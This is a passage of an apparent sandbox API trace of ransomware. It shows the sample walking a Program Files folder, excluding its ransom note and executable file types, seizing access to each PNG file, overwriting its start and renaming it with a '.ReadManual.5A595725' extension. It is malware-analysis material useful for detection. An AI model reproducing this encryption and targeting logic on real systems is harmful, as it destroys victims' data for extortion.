[0254.633] StrCmpIW (psz1="png", psz2="sys") returned -1 [0254.633] StrCmpIW (psz1="png", psz2="msi") returned 1 [0254.633] StrCmpIW (psz1="png", psz2="mui") returned 1 [0254.634] StrCmpIW (psz1="png", psz2="inf") returned 1 [0254.634] StrCmpIW (psz1="png", psz2="cat") returned 1 [0254.634] StrCmpIW (psz1="png", psz2="bat") returned 1 [0254.634] StrCmpIW (psz1="png", psz2="cmd") returned 1 [0254.634] StrCmpIW (psz1="png", psz2="ps1") returned -1 [0254.634] StrCmpIW (psz1="png", psz2="vbs") returned -1 [0254.634] StrCmpIW (psz1="png", psz2="ttf") returned -1 [0254.634] StrCmpIW (psz1="png", psz2="fon") returned 1 [0254.634] StrCmpIW (psz1="png", psz2="lnk") returned 1 [0254.634] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\SpecialNavigationRight_ButtonGraphic.png" | out: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\SpecialNavigationRight_ButtonGraphic.png") returned="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\SpecialNavigationRight_ButtonGraphic.png" [0254.634] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\SpecialNavigationRight_ButtonGraphic.png", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\SpecialNavigationRight_ButtonGraphic.png.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\SpecialNavigationRight_ButtonGraphic.png.ReadManual.5A595725" [0254.634] lstrlenW (lpString="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\SpecialNavigationRight_ButtonGraphic.png.ReadManual.5A595725") returned 124 [0254.634] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd40 | out: lpPerformanceCount=0x434fd40*=37530264795) returned 1 [0254.634] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\SpecialNavigationRight_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\specialoccasion\\specialnavigationright_buttongraphic.png")) returned 0x20 [0254.634] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\SpecialNavigationRight_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\specialoccasion\\specialnavigationright_buttongraphic.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0254.634] GetLastError () returned 0x5 [0254.634] GetNamedSecurityInfoW () returned 0x0 [0254.634] SetNamedSecurityInfoW () returned 0x0 [0254.635] SetNamedSecurityInfoW () returned 0x0 [0254.636] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\SpecialNavigationRight_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\specialoccasion\\specialnavigationright_buttongraphic.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0254.636] GetFileSizeEx (in: hFile=0x184, lpFileSize=0x434fd58 | out: lpFileSize=0x434fd58*=4815) returned 1 [0254.636] CreateFileMappingW (hFile=0x184, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x12cf, lpName=0x0) returned 0x1a0 [0254.636] SetFileInformationByHandle (hFile=0x184, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0x108) returned 1 [0254.637] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0254.637] WriteFile (in: hFile=0x184, lpBuffer=0x434fc40*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc3c, lpOverlapped=0x0 | out: lpBuffer=0x434fc40*, lpNumberOfBytesWritten=0x434fc3c*=0x20, lpOverlapped=0x0) returned 1 [0254.639] WriteFile (in: hFile=0x184, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc3c, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc3c*=0x100, lpOverlapped=0x0) returned 1 [0254.639] MapViewOfFile (hFileMappingObject=0x1a0, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x12cf) returned 0x2f0000 [0254.639] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0254.639] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd48 | out: lpPerformanceCount=0x434fd48*=37530798447) returned 1 [0254.639] CloseHandle (hObject=0x1a0) returned 1 [0254.639] SetSecurityInfo () returned 0x5 [0254.639] SetSecurityInfo () returned 0x5 [0254.639] LocalFree (hMem=0x674d38) returned 0x0 [0254.639] CloseHandle (hObject=0x184) returned 1 [0254.640] FindNextFileW (in: hFindFile=0x6bff40, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f59db34, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f59db34, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4fd79845, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xbd0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="SpecialNavigationRight_SelectionSubpicture.png", cAlternateFileName="")) returned 1 [0254.640] lstrcpyW (in: lpString1=0x6ab91c, lpString2="SpecialNavigationRight_SelectionSubpicture.png" | out: lpString1="SpecialNavigationRight_SelectionSubpicture.png") returned="SpecialNavigationRight_SelectionSubpicture.png" [0254.640] lstrcmpiW (lpString1="SpecialNavigationRight_SelectionSubpicture.png", lpString2="RecoveryManual.html") returned 1 [0254.640] StrStrIW (lpFirst="SpecialNavigationRight_SelectionSubpicture.png", lpSrch=".ReadManual.5A595725") returned 0x0 [0254.640] StrCmpIW (psz1="png", psz2="exe") returned 1 [0254.640] StrCmpIW (psz1="png", psz2="dll") returned 1 [0254.640] StrCmpIW (psz1="png", psz2="sys") returned -1 [0254.640] StrCmpIW (psz1="png", psz2="msi") returned 1 [0254.640] StrCmpIW (psz1="png", psz2="mui") returned 1 [0254.640] StrCmpIW (psz1="png", psz2="inf") returned 1 [0254.640] StrCmpIW (psz1="png", psz2="cat") returned 1 [0254.640] StrCmpIW (psz1="png", psz2="bat") returned 1 [0254.640] StrCmpIW (psz1="png", psz2="cmd") returned 1 [0254.640] StrCmpIW (psz1="png", psz2="ps1") returned -1 [0254.640] StrCmpIW (psz1="png", psz2="vbs") returned -1 [0254.640] StrCmpIW (psz1="png", psz2="ttf") returned -1 [0254.640] StrCmpIW (psz1="png", psz2="fon") returned 1 [0254.640] StrCmpIW (psz1="png", psz2="lnk") returned 1 [0254.640] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\SpecialNavigationRight_SelectionSubpicture.png" | out: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\SpecialNavigationRight_SelectionSubpicture.png") returned="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\SpecialNavigationRight_SelectionSubpicture.png" [0254.640] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\SpecialNavigationRight_SelectionSubpicture.png", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\SpecialNavigationRight_SelectionSubpicture.png.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\SpecialNavigationRight_SelectionSubpicture.png.ReadManual.5A595725" [0254.640] lstrlenW (lpString="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\SpecialNavigationRight_SelectionSubpicture.png.ReadManual.5A595725") returned 130 [0254.640] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd40 | out: lpPerformanceCount=0x434fd40*=37530895495) returned 1 [0254.640] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\SpecialNavigationRight_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\specialoccasion\\specialnavigationright_selectionsubpicture.png")) returned 0x20 [0254.640] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\SpecialNavigationRight_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\specialoccasion\\specialnavigationright_selectionsubpicture.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0254.641] GetLastError () returned 0x5 [0254.641] GetNamedSecurityInfoW () returned 0x0 [0254.641] SetNamedSecurityInfoW () returned 0x0 [0254.641] SetNamedSecurityInfoW () returned 0x0 [0254.643] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\SpecialNavigationRight_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\specialoccasion\\specialnavigationright_selectionsubpicture.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0254.643] GetFileSizeEx (in: hFile=0x184, lpFileSize=0x434fd58 | out: lpFileSize=0x434fd58*=3024) returned 1 [0254.643] CreateFileMappingW (hFile=0x184, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xbd0, lpName=0x0) returned 0x1a0 [0254.643] SetFileInformationByHandle (hFile=0x184, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0x114) returned 1 [0254.643] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0254.644] WriteFile (in: hFile=0x184, lpBuffer=0x434fc40*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc3c, lpOverlapped=0x0 | out: lpBuffer=0x434fc40*, lpNumberOfBytesWritten=0x434fc3c*=0x20, lpOverlapped=0x0) returned 1 [0254.646] WriteFile (in: hFile=0x184, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc3c, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc3c*=0x100, lpOverlapped=0x0) returned 1 [0254.646] MapViewOfFile (hFileMappingObject=0x1a0, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xbd0) returned 0x2f0000 [0254.646] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0254.646] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd48 | out: lpPerformanceCount=0x434fd48*=37531504910) returned 1 [0254.646] CloseHandle (hObject=0x1a0) returned 1 [0254.646] SetSecurityInfo () returned 0x5 [0254.646] SetSecurityInfo () returned 0x5 [0254.646] LocalFree (hMem=0x674d38) returned 0x0 [0254.646] CloseHandle (hObject=0x184) returned 1 [0254.650] FindNextFileW (in: hFindFile=0x6bff40, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f55187a, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f55187a, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4fd79845, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x1302, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="SpecialNavigationUp_ButtonGraphic.png", cAlternateFileName="")) returned 1 [0254.650] lstrcpyW (in: lpString1=0x6ab91c, lpString2="SpecialNavigationUp_ButtonGraphic.png" | out: lpString1="SpecialNavigationUp_ButtonGraphic.png") returned="SpecialNavigationUp_ButtonGraphic.png" [0254.650] lstrcmpiW (lpString1="SpecialNavigationUp_ButtonGraphic.png", lpString2="RecoveryManual.html") returned 1 [0254.650] StrStrIW (lpFirst="SpecialNavigationUp_ButtonGraphic.png", lpSrch=".ReadManual.5A595725") returned 0x0 [0254.650] StrCmpIW (psz1="png", psz2="exe") returned 1 [0254.650] StrCmpIW (psz1="png", psz2="dll") returned 1 [0254.650] StrCmpIW (psz1="png", psz2="sys") returned -1 [0254.650] StrCmpIW (psz1="png", psz2="msi") returned 1 [0254.650] StrCmpIW (psz1="png", psz2="mui") returned 1 [0254.650] StrCmpIW (psz1="png", psz2="inf") returned 1 [0254.650] StrCmpIW (psz1="png", psz2="cat") returned 1 [0254.650] StrCmpIW (psz1="png", psz2="bat") returned 1 [0254.650] StrCmpIW (psz1="png", psz2="cmd") returned 1 [0254.650] StrCmpIW (psz1="png", psz2="ps1") returned -1 [0254.650] StrCmpIW (psz1="png", psz2="vbs") returned -1 [0254.650] StrCmpIW (psz1="png", psz2="ttf") returned -1 [0254.650] StrCmpIW (psz1="png", psz2="fon") returned 1 [0254.650] StrCmpIW (psz1="png", psz2="lnk") returned 1 [0254.650] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\SpecialNavigationUp_ButtonGraphic.png" | out: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\SpecialNavigationUp_ButtonGraphic.png") returned="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\SpecialNavigationUp_ButtonGraphic.png" [0254.650] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\SpecialNavigationUp_ButtonGraphic.png", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\SpecialNavigationUp_ButtonGraphic.png.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\SpecialNavigationUp_ButtonGraphic.png.ReadManual.5A595725" [0254.650] lstrlenW (lpString="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\SpecialNavigationUp_ButtonGraphic.png.ReadManual.5A595725") returned 121 [0254.650] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd40 | out: lpPerformanceCount=0x434fd40*=37531915117) returned 1 [0254.650] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\SpecialNavigationUp_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\specialoccasion\\specialnavigationup_buttongraphic.png")) returned 0x20 [0254.651] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\SpecialNavigationUp_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\specialoccasion\\specialnavigationup_buttongraphic.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0254.651] GetLastError () returned 0x5 [0254.651] GetNamedSecurityInfoW () returned 0x0 [0254.651] SetNamedSecurityInfoW () returned 0x0 [0254.652] SetNamedSecurityInfoW () returned 0x0 [0254.653] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\SpecialNavigationUp_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\specialoccasion\\specialnavigationup_buttongraphic.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0254.653] GetFileSizeEx (in: hFile=0x184, lpFileSize=0x434fd58 | out: lpFileSize=0x434fd58*=4866) returned 1 [0254.653] CreateFileMappingW (hFile=0x184, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1302, lpName=0x0) returned 0x1a0 [0254.653] SetFileInformationByHandle (hFile=0x184, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0x102) returned 1 [0254.654] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0254.654] WriteFile (in: hFile=0x184, lpBuffer=0x434fc40*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc3c, lpOverlapped=0x0 | out: lpBuffer=0x434fc40*, lpNumberOfBytesWritten=0x434fc3c*=0x20, lpOverlapped=0x0) returned 1 [0254.655] WriteFile (in: hFile=0x184, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc3c, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc3c*=0x100, lpOverlapped=0x0) returned 1 [0254.656] MapViewOfFile (hFileMappingObject=0x1a0, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x1302) returned 0x2f0000 [0254.656] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0254.656] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd48 | out: lpPerformanceCount=0x434fd48*=37532450760) returned 1 [0254.656] CloseHandle (hObject=0x1a0) returned 1 [0254.656] SetSecurityInfo () returned 0x5 [0254.656] SetSecurityInfo () returned 0x5 [0254.656] LocalFree (hMem=0x674d38) returned 0x0 [0254.656] CloseHandle (hObject=0x184) returned 1 [0254.656] FindNextFileW (in: hFindFile=0x6bff40, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f5779d7, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f5779d7, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ff1c74f, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xbc3, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="SpecialNavigationUp_SelectionSubpicture.png", cAlternateFileName="")) returned 1 [0254.656] lstrcpyW (in: lpString1=0x6ab91c, lpString2="SpecialNavigationUp_SelectionSubpicture.png" | out: lpString1="SpecialNavigationUp_SelectionSubpicture.png") returned="SpecialNavigationUp_SelectionSubpicture.png" [0254.656] lstrcmpiW (lpString1="SpecialNavigationUp_SelectionSubpicture.png", lpString2="RecoveryManual.html") returned 1 [0254.656] StrStrIW (lpFirst="SpecialNavigationUp_SelectionSubpicture.png", lpSrch=".ReadManual.5A595725") returned 0x0 [0254.656] StrCmpIW (psz1="png", psz2="exe") returned 1 [0254.656] StrCmpIW (psz1="png", psz2="dll") returned 1 [0254.656] StrCmpIW (psz1="png", psz2="sys") returned -1 [0254.656] StrCmpIW (psz1="png", psz2="msi") returned 1 [0254.656] StrCmpIW (psz1="png", psz2="mui") returned 1 [0254.656] StrCmpIW (psz1="png", psz2="inf") returned 1 [0254.656] StrCmpIW (psz1="png", psz2="cat") returned 1 [0254.656] StrCmpIW (psz1="png", psz2="bat") returned 1 [0254.656] StrCmpIW (psz1="png", psz2="cmd") returned 1 [0254.656] StrCmpIW (psz1="png", psz2="ps1") returned -1 [0254.657] StrCmpIW (psz1="png", psz2="vbs") returned -1 [0254.657] StrCmpIW (psz1="png", psz2="ttf") returned -1 [0254.657] StrCmpIW (psz1="png", psz2="fon") returned 1 [0254.657] StrCmpIW (psz1="png", psz2="lnk") returned 1 [0254.657] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\SpecialNavigationUp_SelectionSubpicture.png" | out: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\SpecialNavigationUp_SelectionSubpicture.png") returned="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\SpecialNavigationUp_SelectionSubpicture.png" [0254.657] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\SpecialNavigationUp_SelectionSubpicture.png", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\SpecialNavigationUp_SelectionSubpicture.png.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\SpecialNavigationUp_SelectionSubpicture.png.ReadManual.5A595725" [0254.657] lstrlenW (lpString="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\SpecialNavigationUp_SelectionSubpicture.png.ReadManual.5A595725") returned 127 [0254.657] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd40 | out: lpPerformanceCount=0x434fd40*=37532549598) returned 1 [0254.657] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\SpecialNavigationUp_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\specialoccasion\\specialnavigationup_selectionsubpicture.png")) returned 0x20 [0254.657] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\SpecialNavigationUp_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\specialoccasion\\specialnavigationup_selectionsubpicture.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0254.658] GetLastError () returned 0x5 [0254.658] GetNamedSecurityInfoW () returned 0x0 [0254.658] SetNamedSecurityInfoW () returned 0x0 [0254.658] SetNamedSecurityInfoW () returned 0x0 [0254.660] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\SpecialNavigationUp_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\specialoccasion\\specialnavigationup_selectionsubpicture.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0254.660] GetFileSizeEx (in: hFile=0x184, lpFileSize=0x434fd58 | out: lpFileSize=0x434fd58*=3011) returned 1 [0254.660] CreateFileMappingW (hFile=0x184, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xbc3, lpName=0x0) returned 0x1a0 [0254.660] SetFileInformationByHandle (hFile=0x184, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0x10e) returned 1 [0254.661] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0254.661] WriteFile (in: hFile=0x184, lpBuffer=0x434fc40*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc3c, lpOverlapped=0x0 | out: lpBuffer=0x434fc40*, lpNumberOfBytesWritten=0x434fc3c*=0x20, lpOverlapped=0x0) returned 1 [0254.663] WriteFile (in: hFile=0x184, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc3c, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc3c*=0x100, lpOverlapped=0x0) returned 1 [0254.663] MapViewOfFile (hFileMappingObject=0x1a0, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xbc3) returned 0x2f0000 [0254.663] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0254.663] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd48 | out: lpPerformanceCount=0x434fd48*=37533167924) returned 1 [0254.663] CloseHandle (hObject=0x1a0) returned 1 [0254.663] SetSecurityInfo () returned 0x5 [0254.663] SetSecurityInfo () returned 0x5 [0254.663] LocalFree (hMem=0x674d38) returned 0x0 [0254.663] CloseHandle (hObject=0x184) returned 1 [0254.663] FindNextFileW (in: hFindFile=0x6bff40, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f3fac35, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f3fac35, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ff1c74f, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x4aa8, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="specialoccasion.png", cAlternateFileName="")) returned 1 [0254.663] lstrcpyW (in: lpString1=0x6ab91c, lpString2="specialoccasion.png" | out: lpString1="specialoccasion.png") returned="specialoccasion.png" [0254.663] lstrcmpiW (lpString1="specialoccasion.png", lpString2="RecoveryManual.html") returned 1 [0254.663] StrStrIW (lpFirst="specialoccasion.png", lpSrch=".ReadManual.5A595725") returned 0x0 [0254.663] StrCmpIW (psz1="png", psz2="exe") returned 1 [0254.663] StrCmpIW (psz1="png", psz2="dll") returned 1 [0254.663] StrCmpIW (psz1="png", psz2="sys") returned -1 [0254.663] StrCmpIW (psz1="png", psz2="msi") returned 1 [0254.664] StrCmpIW (psz1="png", psz2="mui") returned 1 [0254.664] StrCmpIW (psz1="png", psz2="inf") returned 1 [0254.664] StrCmpIW (psz1="png", psz2="cat") returned 1 [0254.664] StrCmpIW (psz1="png", psz2="bat") returned 1 [0254.664] StrCmpIW (psz1="png", psz2="cmd") returned 1 [0254.664] StrCmpIW (psz1="png", psz2="ps1") returned -1 [0254.664] StrCmpIW (psz1="png", psz2="vbs") returned -1 [0254.664] StrCmpIW (psz1="png", psz2="ttf") returned -1 [0254.664] StrCmpIW (psz1="png", psz2="fon") returned 1 [0254.664] StrCmpIW (psz1="png", psz2="lnk") returned 1 [0254.664] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\specialoccasion.png" | out: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\specialoccasion.png") returned="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\specialoccasion.png" [0254.664] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\specialoccasion.png", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\specialoccasion.png.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\specialoccasion.png.ReadManual.5A595725" [0254.664] lstrlenW (lpString="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\specialoccasion.png.ReadManual.5A595725") returned 103 [0254.664] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd40 | out: lpPerformanceCount=0x434fd40*=37533263717) returned 1 [0254.664] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\specialoccasion.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\specialoccasion\\specialoccasion.png")) returned 0x20 [0254.664] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\specialoccasion.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\specialoccasion\\specialoccasion.png"), 